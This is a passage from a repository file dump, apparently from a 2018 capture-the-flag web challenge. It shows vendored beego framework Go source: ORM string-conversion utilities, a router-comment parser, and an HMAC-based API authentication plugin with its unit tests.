*querySet, *modelInfo, *Condition, interface{}, *time.Location, []string) (int64, error)\n\tSupportUpdateJoin() bool\n\tUpdateBatch(dbQuerier, *querySet, *modelInfo, *Condition, Params, *time.Location) (int64, error)\n\tDeleteBatch(dbQuerier, *querySet, *modelInfo, *Condition, *time.Location) (int64, error)\n\tCount(dbQuerier, *querySet, *modelInfo, *Condition, *time.Location) (int64, error)\n\tOperatorSQL(string) string\n\tGenerateOperatorSQL(*modelInfo, *fieldInfo, string, []interface{}, *time.Location) (string, []interface{})\n\tGenerateOperatorLeftCol(*fieldInfo, string, *string)\n\tPrepareInsert(dbQuerier, *modelInfo) (stmtQuerier, string, error)\n\tReadValues(dbQuerier, *querySet, *modelInfo, *Condition, []string, interface{}, *time.Location) (int64, error)\n\tRowsTo(dbQuerier, *querySet, *modelInfo, *Condition, interface{}, string, string, *time.Location) (int64, error)\n\tMaxLimit() uint64\n\tTableQuote() string\n\tReplaceMarks(*string)\n\tHasReturningID(*modelInfo, *string) bool\n\tTimeFromDB(*time.Time, *time.Location)\n\tTimeToDB(*time.Time, *time.Location)\n\tDbTypes() map[string]string\n\tGetTables(dbQuerier) (map[string]bool, error)\n\tGetColumns(dbQuerier, string) (map[string][3]string, error)\n\tShowTablesQuery() string\n\tShowColumnsQuery(string) string\n\tIndexExists(dbQuerier, string, string) bool\n\tcollectFieldValue(*modelInfo, *fieldInfo, reflect.Value, bool, *time.Location) (interface{}, error)\n\tsetval(dbQuerier, *modelInfo, []string) error\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/utils.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"math/big\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\n// StrTo is the target string\ntype StrTo string\n\n// Set string\nfunc (f *StrTo) Set(v string) {\n\tif v != \"\" {\n\t\t*f = StrTo(v)\n\t} else {\n\t\tf.Clear()\n\t}\n}\n\n// Clear string\nfunc (f *StrTo) Clear() {\n\t*f = StrTo(0x1E)\n}\n\n// Exist check string exist\nfunc (f StrTo) Exist() bool {\n\treturn string(f) != string(0x1E)\n}\n\n// Bool string to bool\nfunc (f StrTo) Bool() (bool, error) {\n\treturn strconv.ParseBool(f.String())\n}\n\n// Float32 string to float32\nfunc (f StrTo) Float32() (float32, error) {\n\tv, err := strconv.ParseFloat(f.String(), 32)\n\treturn float32(v), err\n}\n\n// Float64 string to float64\nfunc (f StrTo) Float64() (float64, error) {\n\treturn strconv.ParseFloat(f.String(), 64)\n}\n\n// Int string to int\nfunc (f StrTo) Int() (int, error) {\n\tv, err := strconv.ParseInt(f.String(), 10, 32)\n\treturn int(v), err\n}\n\n// Int8 string to int8\nfunc (f StrTo) Int8() (int8, error) {\n\tv, err := strconv.ParseInt(f.String(), 10, 8)\n\treturn int8(v), err\n}\n\n// Int16 string to int16\nfunc (f StrTo) Int16() (int16, error) {\n\tv, err := strconv.ParseInt(f.String(), 10, 16)\n\treturn int16(v), err\n}\n\n// Int32 string to int32\nfunc (f StrTo) Int32() (int32, error) {\n\tv, err := strconv.ParseInt(f.String(), 10, 32)\n\treturn int32(v), err\n}\n\n// Int64 string to int64\nfunc (f StrTo) Int64() (int64, error) {\n\tv, err := strconv.ParseInt(f.String(), 10, 64)\n\tif err != nil {\n\t\ti := new(big.Int)\n\t\tni, ok := i.SetString(f.String(), 10) // octal\n\t\tif !ok {\n\t\t\treturn v, err\n\t\t}\n\t\treturn ni.Int64(), nil\n\t}\n\treturn v, err\n}\n\n// Uint string to uint\nfunc (f StrTo) Uint() (uint, error) {\n\tv, err := strconv.ParseUint(f.String(), 10, 32)\n\treturn uint(v), err\n}\n\n// Uint8 string to uint8\nfunc (f StrTo) Uint8() (uint8, error) {\n\tv, err := strconv.ParseUint(f.String(), 10, 8)\n\treturn uint8(v), err\n}\n\n// Uint16 string to uint16\nfunc (f StrTo) Uint16() (uint16, error) {\n\tv, err := strconv.ParseUint(f.String(), 10, 16)\n\treturn uint16(v), err\n}\n\n// Uint32 string to uint31\nfunc (f StrTo) Uint32() (uint32, error) {\n\tv, err := strconv.ParseUint(f.String(), 10, 32)\n\treturn uint32(v), err\n}\n\n// Uint64 string to uint64\nfunc (f StrTo) Uint64() (uint64, error) {\n\tv, err := strconv.ParseUint(f.String(), 10, 64)\n\tif err != nil {\n\t\ti := new(big.Int)\n\t\tni, ok := i.SetString(f.String(), 10)\n\t\tif !ok {\n\t\t\treturn v, err\n\t\t}\n\t\treturn ni.Uint64(), nil\n\t}\n\treturn v, err\n}\n\n// String string to string\nfunc (f StrTo) String() string {\n\tif f.Exist() {\n\t\treturn string(f)\n\t}\n\treturn \"\"\n}\n\n// ToStr interface to string\nfunc ToStr(value interface{}, args ...int) (s string) {\n\tswitch v := value.(type) {\n\tcase bool:\n\t\ts = strconv.FormatBool(v)\n\tcase float32:\n\t\ts = strconv.FormatFloat(float64(v), 'f', argInt(args).Get(0, -1), argInt(args).Get(1, 32))\n\tcase float64:\n\t\ts = strconv.FormatFloat(v, 'f', argInt(args).Get(0, -1), argInt(args).Get(1, 64))\n\tcase int:\n\t\ts = strconv.FormatInt(int64(v), argInt(args).Get(0, 10))\n\tcase int8:\n\t\ts = strconv.FormatInt(int64(v), argInt(args).Get(0, 10))\n\tcase int16:\n\t\ts = strconv.FormatInt(int64(v), argInt(args).Get(0, 10))\n\tcase int32:\n\t\ts = strconv.FormatInt(int64(v), argInt(args).Get(0, 10))\n\tcase int64:\n\t\ts = strconv.FormatInt(v, argInt(args).Get(0, 10))\n\tcase uint:\n\t\ts = strconv.FormatUint(uint64(v), argInt(args).Get(0, 10))\n\tcase uint8:\n\t\ts = strconv.FormatUint(uint64(v), argInt(args).Get(0, 10))\n\tcase uint16:\n\t\ts = strconv.FormatUint(uint64(v), argInt(args).Get(0, 10))\n\tcase uint32:\n\t\ts = strconv.FormatUint(uint64(v), argInt(args).Get(0, 10))\n\tcase uint64:\n\t\ts = strconv.FormatUint(v, argInt(args).Get(0, 10))\n\tcase string:\n\t\ts = v\n\tcase []byte:\n\t\ts = string(v)\n\tdefault:\n\t\ts = fmt.Sprintf(\"%v\", v)\n\t}\n\treturn s\n}\n\n// ToInt64 interface to int64\nfunc ToInt64(value interface{}) (d int64) {\n\tval := reflect.ValueOf(value)\n\tswitch value.(type) {\n\tcase int, int8, int16, int32, int64:\n\t\td = val.Int()\n\tcase uint, uint8, uint16, uint32, uint64:\n\t\td = int64(val.Uint())\n\tdefault:\n\t\tpanic(fmt.Errorf(\"ToInt64 need numeric not `%T`\", value))\n\t}\n\treturn\n}\n\n// snake string, XxYy to xx_yy , XxYY to xx_yy\nfunc snakeString(s string) string {\n\tdata := make([]byte, 0, len(s)*2)\n\tj := false\n\tnum := len(s)\n\tfor i := 0; i < num; i++ {\n\t\td := s[i]\n\t\tif i > 0 && d >= 'A' && d <= 'Z' && j {\n\t\t\tdata = append(data, '_')\n\t\t}\n\t\tif d != '_' {\n\t\t\tj = true\n\t\t}\n\t\tdata = append(data, d)\n\t}\n\treturn strings.ToLower(string(data[:]))\n}\n\n// camel string, xx_yy to XxYy\nfunc camelString(s string) string {\n\tdata := make([]byte, 0, len(s))\n\tflag, num := true, len(s)-1\n\tfor i := 0; i <= num; i++ {\n\t\td := s[i]\n\t\tif d == '_' {\n\t\t\tflag = true\n\t\t\tcontinue\n\t\t} else if flag {\n\t\t\tif d >= 'a' && d <= 'z' {\n\t\t\t\td = d - 32\n\t\t\t}\n\t\t\tflag = false\n\t\t}\n\t\tdata = append(data, d)\n\t}\n\treturn string(data[:])\n}\n\ntype argString []string\n\n// get string by index from string slice\nfunc (a argString) Get(i int, args ...string) (r string) {\n\tif i >= 0 && i < len(a) {\n\t\tr = a[i]\n\t} else if len(args) > 0 {\n\t\tr = args[0]\n\t}\n\treturn\n}\n\ntype argInt []int\n\n// get int by index from int slice\nfunc (a argInt) Get(i int, args ...int) (r int) {\n\tif i >= 0 && i < len(a) {\n\t\tr = a[i]\n\t}\n\tif len(args) > 0 {\n\t\tr = args[0]\n\t}\n\treturn\n}\n\n// parse time to string with location\nfunc timeParse(dateString, format string) (time.Time, error) {\n\ttp, err := time.ParseInLocation(format, dateString, DefaultTimeLoc)\n\treturn tp, err\n}\n\n// get pointer indirect type\nfunc indirectType(v reflect.Type) reflect.Type {\n\tswitch v.Kind() {\n\tcase reflect.Ptr:\n\t\treturn indirectType(v.Elem())\n\tdefault:\n\t\treturn v\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/utils_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"testing\"\n)\n\nfunc TestCamelString(t *testing.T) {\n\tsnake := []string{\"pic_url\", \"hello_world_\", \"hello__World\", \"_HelLO_Word\", \"pic_url_1\", \"pic_url__1\"}\n\tcamel := []string{\"PicUrl\", \"HelloWorld\", \"HelloWorld\", \"HelLOWord\", \"PicUrl1\", \"PicUrl1\"}\n\n\tanswer := make(map[string]string)\n\tfor i, v := range snake {\n\t\tanswer[v] = camel[i]\n\t}\n\n\tfor _, v := range snake {\n\t\tres := camelString(v)\n\t\tif res != answer[v] {\n\t\t\tt.Error(\"Unit Test Fail:\", v, res, answer[v])\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/parser.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/parser\"\n\t\"go/token\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"unicode\"\n\n\t\"github.com/astaxie/beego/context/param\"\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\nvar globalRouterTemplate = `package routers\n\nimport (\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/context/param\"\n)\n\nfunc init() {\n{{.globalinfo}}\n}\n`\n\nvar (\n\tlastupdateFilename = \"lastupdate.tmp\"\n\tcommentFilename    string\n\tpkgLastupdate      map[string]int64\n\tgenInfoList        map[string][]ControllerComments\n)\n\nconst commentPrefix = \"commentsRouter_\"\n\nfunc init() {\n\tpkgLastupdate = make(map[string]int64)\n}\n\nfunc parserPkg(pkgRealpath, pkgpath string) error {\n\trep := strings.NewReplacer(\"\\\\\", \"_\", \"/\", \"_\", \".\", \"_\")\n\tcommentFilename, _ = filepath.Rel(AppPath, pkgRealpath)\n\tcommentFilename = commentPrefix + rep.Replace(commentFilename) + \".go\"\n\tif !compareFile(pkgRealpath) {\n\t\tlogs.Info(pkgRealpath + \" no changed\")\n\t\treturn nil\n\t}\n\tgenInfoList = make(map[string][]ControllerComments)\n\tfileSet := token.NewFileSet()\n\tastPkgs, err := parser.ParseDir(fileSet, pkgRealpath, func(info os.FileInfo) bool {\n\t\tname := info.Name()\n\t\treturn !info.IsDir() && !strings.HasPrefix(name, \".\") && strings.HasSuffix(name, \".go\")\n\t}, parser.ParseComments)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, pkg := range astPkgs {\n\t\tfor _, fl := range pkg.Files {\n\t\t\tfor _, d := range fl.Decls {\n\t\t\t\tswitch specDecl := d.(type) {\n\t\t\t\tcase *ast.FuncDecl:\n\t\t\t\t\tif specDecl.Recv != nil {\n\t\t\t\t\t\texp, ok := specDecl.Recv.List[0].Type.(*ast.StarExpr) // Check that the type is correct first beforing throwing to parser\n\t\t\t\t\t\tif ok {\n\t\t\t\t\t\t\tparserComments(specDecl, fmt.Sprint(exp.X), pkgpath)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tgenRouterCode(pkgRealpath)\n\tsavetoFile(pkgRealpath)\n\treturn nil\n}\n\ntype parsedComment struct {\n\trouterPath string\n\tmethods    []string\n\tparams     map[string]parsedParam\n}\n\ntype parsedParam struct {\n\tname     string\n\tdatatype string\n\tlocation string\n\tdefValue string\n\trequired bool\n}\n\nfunc parserComments(f *ast.FuncDecl, controllerName, pkgpath string) error {\n\tif f.Doc != nil {\n\t\tparsedComment, err := parseComment(f.Doc.List)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif parsedComment.routerPath != \"\" {\n\t\t\tkey := pkgpath + \":\" + controllerName\n\t\t\tcc := ControllerComments{}\n\t\t\tcc.Method = f.Name.String()\n\t\t\tcc.Router = parsedComment.routerPath\n\t\t\tcc.AllowHTTPMethods = parsedComment.methods\n\t\t\tcc.MethodParams = buildMethodParams(f.Type.Params.List, parsedComment)\n\t\t\tgenInfoList[key] = append(genInfoList[key], cc)\n\t\t}\n\n\t}\n\treturn nil\n}\n\nfunc buildMethodParams(funcParams []*ast.Field, pc *parsedComment) []*param.MethodParam {\n\tresult := make([]*param.MethodParam, 0, len(funcParams))\n\tfor _, fparam := range funcParams {\n\t\tfor _, pName := range fparam.Names {\n\t\t\tmethodParam := buildMethodParam(fparam, pName.Name, pc)\n\t\t\tresult = append(result, methodParam)\n\t\t}\n\t}\n\treturn result\n}\n\nfunc buildMethodParam(fparam *ast.Field, name string, pc *parsedComment) *param.MethodParam {\n\toptions := []param.MethodParamOption{}\n\tif cparam, ok := pc.params[name]; ok {\n\t\t//Build param from comment info\n\t\tname = cparam.name\n\t\tif cparam.required {\n\t\t\toptions = append(options, param.IsRequired)\n\t\t}\n\t\tswitch cparam.location {\n\t\tcase \"body\":\n\t\t\toptions = append(options, param.InBody)\n\t\tcase \"header\":\n\t\t\toptions = append(options, param.InHeader)\n\t\tcase \"path\":\n\t\t\toptions = append(options, param.InPath)\n\t\t}\n\t\tif cparam.defValue != \"\" {\n\t\t\toptions = append(options, param.Default(cparam.defValue))\n\t\t}\n\t} else {\n\t\tif paramInPath(name, pc.routerPath) {\n\t\t\toptions = append(options, param.InPath)\n\t\t}\n\t}\n\treturn param.New(name, options...)\n}\n\nfunc paramInPath(name, route string) bool {\n\treturn strings.HasSuffix(route, \":\"+name) ||\n\t\tstrings.Contains(route, \":\"+name+\"/\")\n}\n\nvar routeRegex = regexp.MustCompile(`@router\\s+(\\S+)(?:\\s+\\[(\\S+)\\])?`)\n\nfunc parseComment(lines []*ast.Comment) (pc *parsedComment, err error) {\n\tpc = &parsedComment{}\n\tfor _, c := range lines {\n\t\tt := strings.TrimSpace(strings.TrimLeft(c.Text, \"//\"))\n\t\tif strings.HasPrefix(t, \"@router\") {\n\t\t\tmatches := routeRegex.FindStringSubmatch(t)\n\t\t\tif len(matches) == 3 {\n\t\t\t\tpc.routerPath = matches[1]\n\t\t\t\tmethods := matches[2]\n\t\t\t\tif methods == \"\" {\n\t\t\t\t\tpc.methods = []string{\"get\"}\n\t\t\t\t\t//pc.hasGet = true\n\t\t\t\t} else {\n\t\t\t\t\tpc.methods = strings.Split(methods, \",\")\n\t\t\t\t\t//pc.hasGet = strings.Contains(methods, \"get\")\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn nil, errors.New(\"Router information is missing\")\n\t\t\t}\n\t\t} else if strings.HasPrefix(t, \"@Param\") {\n\t\t\tpv := getparams(strings.TrimSpace(strings.TrimLeft(t, \"@Param\")))\n\t\t\tif len(pv) < 4 {\n\t\t\t\tlogs.Error(\"Invalid @Param format. Needs at least 4 parameters\")\n\t\t\t}\n\t\t\tp := parsedParam{}\n\t\t\tnames := strings.SplitN(pv[0], \"=>\", 2)\n\t\t\tp.name = names[0]\n\t\t\tfuncParamName := p.name\n\t\t\tif len(names) > 1 {\n\t\t\t\tfuncParamName = names[1]\n\t\t\t}\n\t\t\tp.location = pv[1]\n\t\t\tp.datatype = pv[2]\n\t\t\tswitch len(pv) {\n\t\t\tcase 5:\n\t\t\t\tp.required, _ = strconv.ParseBool(pv[3])\n\t\t\tcase 6:\n\t\t\t\tp.defValue = pv[3]\n\t\t\t\tp.required, _ = strconv.ParseBool(pv[4])\n\t\t\t}\n\t\t\tif pc.params == nil {\n\t\t\t\tpc.params = map[string]parsedParam{}\n\t\t\t}\n\t\t\tpc.params[funcParamName] = p\n\t\t}\n\t}\n\treturn\n}\n\n// direct copy from bee\\g_docs.go\n// analysis params return []string\n// @Param\tquery\t\tform\t string\ttrue\t\t\"The email for login\"\n// [query form string true \"The email for login\"]\nfunc getparams(str string) []string {\n\tvar s []rune\n\tvar j int\n\tvar start bool\n\tvar r []string\n\tvar quoted int8\n\tfor _, c := range str {\n\t\tif unicode.IsSpace(c) && quoted == 0 {\n\t\t\tif !start {\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tstart = false\n\t\t\t\tj++\n\t\t\t\tr = append(r, string(s))\n\t\t\t\ts = make([]rune, 0)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tstart = true\n\t\tif c == '\"' {\n\t\t\tquoted ^= 1\n\t\t\tcontinue\n\t\t}\n\t\ts = append(s, c)\n\t}\n\tif len(s) > 0 {\n\t\tr = append(r, string(s))\n\t}\n\treturn r\n}\n\nfunc genRouterCode(pkgRealpath string) {\n\tos.Mkdir(getRouterDir(pkgRealpath), 0755)\n\tlogs.Info(\"generate router from comments\")\n\tvar (\n\t\tglobalinfo string\n\t\tsortKey    []string\n\t)\n\tfor k := range genInfoList {\n\t\tsortKey = append(sortKey, k)\n\t}\n\tsort.Strings(sortKey)\n\tfor _, k := range sortKey {\n\t\tcList := genInfoList[k]\n\t\tsort.Sort(ControllerCommentsSlice(cList))\n\t\tfor _, c := range cList {\n\t\t\tallmethod := \"nil\"\n\t\t\tif len(c.AllowHTTPMethods) > 0 {\n\t\t\t\tallmethod = \"[]string{\"\n\t\t\t\tfor _, m := range c.AllowHTTPMethods {\n\t\t\t\t\tallmethod += `\"` + m + `\",`\n\t\t\t\t}\n\t\t\t\tallmethod = strings.TrimRight(allmethod, \",\") + \"}\"\n\t\t\t}\n\t\t\tparams := \"nil\"\n\t\t\tif len(c.Params) > 0 {\n\t\t\t\tparams = \"[]map[string]string{\"\n\t\t\t\tfor _, p := range c.Params {\n\t\t\t\t\tfor k, v := range p {\n\t\t\t\t\t\tparams = params + `map[string]string{` + k + `:\"` + v + `\"},`\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tparams = strings.TrimRight(params, \",\") + \"}\"\n\t\t\t}\n\t\t\tmethodParams := \"param.Make(\"\n\t\t\tif len(c.MethodParams) > 0 {\n\t\t\t\tlines := make([]string, 0, len(c.MethodParams))\n\t\t\t\tfor _, m := range c.MethodParams {\n\t\t\t\t\tlines = append(lines, fmt.Sprint(m))\n\t\t\t\t}\n\t\t\t\tmethodParams += \"\\n\t\t\t\t\" +\n\t\t\t\t\tstrings.Join(lines, \",\\n\t\t\t\t\") +\n\t\t\t\t\t\",\\n\t\t\t\"\n\t\t\t}\n\t\t\tmethodParams += \")\"\n\t\t\tglobalinfo = globalinfo + `\n\tbeego.GlobalControllerRouter[\"` + k + `\"] = append(beego.GlobalControllerRouter[\"` + k + `\"],\n\t\tbeego.ControllerComments{\n\t\t\tMethod: \"` + strings.TrimSpace(c.Method) + `\",\n\t\t\t` + \"Router: `\" + c.Router + \"`\" + `,\n\t\t\tAllowHTTPMethods: ` + allmethod + `,\n\t\t\tMethodParams: ` + methodParams + `,\n\t\t\tParams: ` + params + `})\n`\n\t\t}\n\t}\n\tif globalinfo != \"\" {\n\t\tf, err := os.Create(filepath.Join(getRouterDir(pkgRealpath), commentFilename))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tdefer f.Close()\n\t\tf.WriteString(strings.Replace(globalRouterTemplate, \"{{.globalinfo}}\", globalinfo, -1))\n\t}\n}\n\nfunc compareFile(pkgRealpath string) bool {\n\tif !utils.FileExists(filepath.Join(getRouterDir(pkgRealpath), commentFilename)) {\n\t\treturn true\n\t}\n\tif utils.FileExists(lastupdateFilename) {\n\t\tcontent, err := ioutil.ReadFile(lastupdateFilename)\n\t\tif err != nil {\n\t\t\treturn true\n\t\t}\n\t\tjson.Unmarshal(content, &pkgLastupdate)\n\t\tlastupdate, err := getpathTime(pkgRealpath)\n\t\tif err != nil {\n\t\t\treturn true\n\t\t}\n\t\tif v, ok := pkgLastupdate[pkgRealpath]; ok {\n\t\t\tif lastupdate <= v {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\treturn true\n}\n\nfunc savetoFile(pkgRealpath string) {\n\tlastupdate, err := getpathTime(pkgRealpath)\n\tif err != nil {\n\t\treturn\n\t}\n\tpkgLastupdate[pkgRealpath] = lastupdate\n\td, err := json.Marshal(pkgLastupdate)\n\tif err != nil {\n\t\treturn\n\t}\n\tioutil.WriteFile(lastupdateFilename, d, os.ModePerm)\n}\n\nfunc getpathTime(pkgRealpath string) (lastupdate int64, err error) {\n\tfl, err := ioutil.ReadDir(pkgRealpath)\n\tif err != nil {\n\t\treturn lastupdate, err\n\t}\n\tfor _, f := range fl {\n\t\tif lastupdate < f.ModTime().UnixNano() {\n\t\t\tlastupdate = f.ModTime().UnixNano()\n\t\t}\n\t}\n\treturn lastupdate, nil\n}\n\nfunc getRouterDir(pkgRealpath string) string {\n\tdir := filepath.Dir(pkgRealpath)\n\tfor {\n\t\td := filepath.Join(dir, \"routers\")\n\t\tif utils.FileExists(d) {\n\t\t\treturn d\n\t\t}\n\n\t\tif r, _ := filepath.Rel(dir, AppPath); r == \".\" {\n\t\t\treturn d\n\t\t}\n\t\t// Parent dir.\n\t\tdir = filepath.Dir(dir)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/apiauth/apiauth.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package apiauth provides handlers to enable apiauth support.\n//\n// Simple Usage:\n//\timport(\n//\t\t\"github.com/astaxie/beego\"\n//\t\t\"github.com/astaxie/beego/plugins/apiauth\"\n//\t)\n//\n//\tfunc main(){\n//\t\t// apiauth every request\n//\t\tbeego.InsertFilter(\"*\", beego.BeforeRouter,apiauth.APIBaiscAuth(\"appid\",\"appkey\"))\n//\t\tbeego.Run()\n//\t}\n//\n// Advanced Usage:\n//\n//\tfunc getAppSecret(appid string) string {\n//\t\t// get appsecret by appid\n//\t\t// maybe store in configure, maybe in database\n//\t}\n//\n//\tbeego.InsertFilter(\"*\", beego.BeforeRouter,apiauth.APISecretAuth(getAppSecret, 360))\n//\n// Information:\n//\n// In the request user should include these params in the query\n//\n// 1. appid\n//\n//\t\t appid is assigned to the application\n//\n// 2. signature\n//\n//\tget the signature use apiauth.Signature()\n//\n//\twhen you send to server remember use url.QueryEscape()\n//\n// 3. timestamp:\n//\n//       send the request time, the format is yyyy-mm-dd HH:ii:ss\n//\npackage apiauth\n\nimport (\n\t\"bytes\"\n\t\"crypto/hmac\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/context\"\n)\n\n// AppIDToAppSecret is used to get appsecret throw appid\ntype AppIDToAppSecret func(string) string\n\n// APIBaiscAuth use the basic appid/appkey as the AppIdToAppSecret\nfunc APIBaiscAuth(appid, appkey string) beego.FilterFunc {\n\tft := func(aid string) string {\n\t\tif aid == appid {\n\t\t\treturn appkey\n\t\t}\n\t\treturn \"\"\n\t}\n\treturn APISecretAuth(ft, 300)\n}\n\n// APISecretAuth use AppIdToAppSecret verify and\nfunc APISecretAuth(f AppIDToAppSecret, timeout int) beego.FilterFunc {\n\treturn func(ctx *context.Context) {\n\t\tif ctx.Input.Query(\"appid\") == \"\" {\n\t\t\tctx.ResponseWriter.WriteHeader(403)\n\t\t\tctx.WriteString(\"miss query param: appid\")\n\t\t\treturn\n\t\t}\n\t\tappsecret := f(ctx.Input.Query(\"appid\"))\n\t\tif appsecret == \"\" {\n\t\t\tctx.ResponseWriter.WriteHeader(403)\n\t\t\tctx.WriteString(\"not exist this appid\")\n\t\t\treturn\n\t\t}\n\t\tif ctx.Input.Query(\"signature\") == \"\" {\n\t\t\tctx.ResponseWriter.WriteHeader(403)\n\t\t\tctx.WriteString(\"miss query param: signature\")\n\t\t\treturn\n\t\t}\n\t\tif ctx.Input.Query(\"timestamp\") == \"\" {\n\t\t\tctx.ResponseWriter.WriteHeader(403)\n\t\t\tctx.WriteString(\"miss query param: timestamp\")\n\t\t\treturn\n\t\t}\n\t\tu, err := time.Parse(\"2006-01-02 15:04:05\", ctx.Input.Query(\"timestamp\"))\n\t\tif err != nil {\n\t\t\tctx.ResponseWriter.WriteHeader(403)\n\t\t\tctx.WriteString(\"timestamp format is error, should 2006-01-02 15:04:05\")\n\t\t\treturn\n\t\t}\n\t\tt := time.Now()\n\t\tif t.Sub(u).Seconds() > float64(timeout) {\n\t\t\tctx.ResponseWriter.WriteHeader(403)\n\t\t\tctx.WriteString(\"timeout! the request time is long ago, please try again\")\n\t\t\treturn\n\t\t}\n\t\tif ctx.Input.Query(\"signature\") !=\n\t\t\tSignature(appsecret, ctx.Input.Method(), ctx.Request.Form, ctx.Input.URL()) {\n\t\t\tctx.ResponseWriter.WriteHeader(403)\n\t\t\tctx.WriteString(\"auth failed\")\n\t\t}\n\t}\n}\n\n// Signature used to generate signature with the appsecret/method/params/RequestURI\nfunc Signature(appsecret, method string, params url.Values, RequestURL string) (result string) {\n\tvar b bytes.Buffer\n\tkeys := make([]string, len(params))\n\tpa := make(map[string]string)\n\tfor k, v := range params {\n\t\tpa[k] = v[0]\n\t\tkeys = append(keys, k)\n\t}\n\n\tsort.Strings(keys)\n\n\tfor _, key := range keys {\n\t\tif key == \"signature\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tval := pa[key]\n\t\tif key != \"\" && val != \"\" {\n\t\t\tb.WriteString(key)\n\t\t\tb.WriteString(val)\n\t\t}\n\t}\n\n\tstringToSign := fmt.Sprintf(\"%v\\n%v\\n%v\\n\", method, b.String(), RequestURL)\n\n\tsha256 := sha256.New\n\thash := hmac.New(sha256, []byte(appsecret))\n\thash.Write([]byte(stringToSign))\n\treturn base64.StdEncoding.EncodeToString(hash.Sum(nil))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/apiauth/apiauth_test.go",
    "content": "package apiauth\n\nimport (\n\t\"net/url\"\n\t\"testing\"\n)\n\nfunc TestSignature(t *testing.T) {\n\tappsecret := \"beego secret\"\n\tmethod := \"GET\"\n\tRequestURL := \"http://localhost/test/url\"\n\tparams := make(url.Values)\n\tparams.Add(\"arg1\", \"hello\")\n\tparams.Add(\"arg2\", \"beego\")\n\n\tsignature := \"mFdpvLh48ca4mDVEItE9++AKKQ/IVca7O/ZyyB8hR58=\"\n\tif Signature(appsecret, method, params, RequestURL) != signature {\n\t\tt.Error(\"Signature error\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/auth/basic.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package auth provides handlers to enable basic auth support.\n// Simple Usage:\n//\timport(\n//\t\t\"github.com/astaxie/beego\"\n//\t\t\"github.com/astaxie/beego/plugins/auth\"\n//\t)\n//\n//\tfunc main(){\n//\t\t// authenticate every 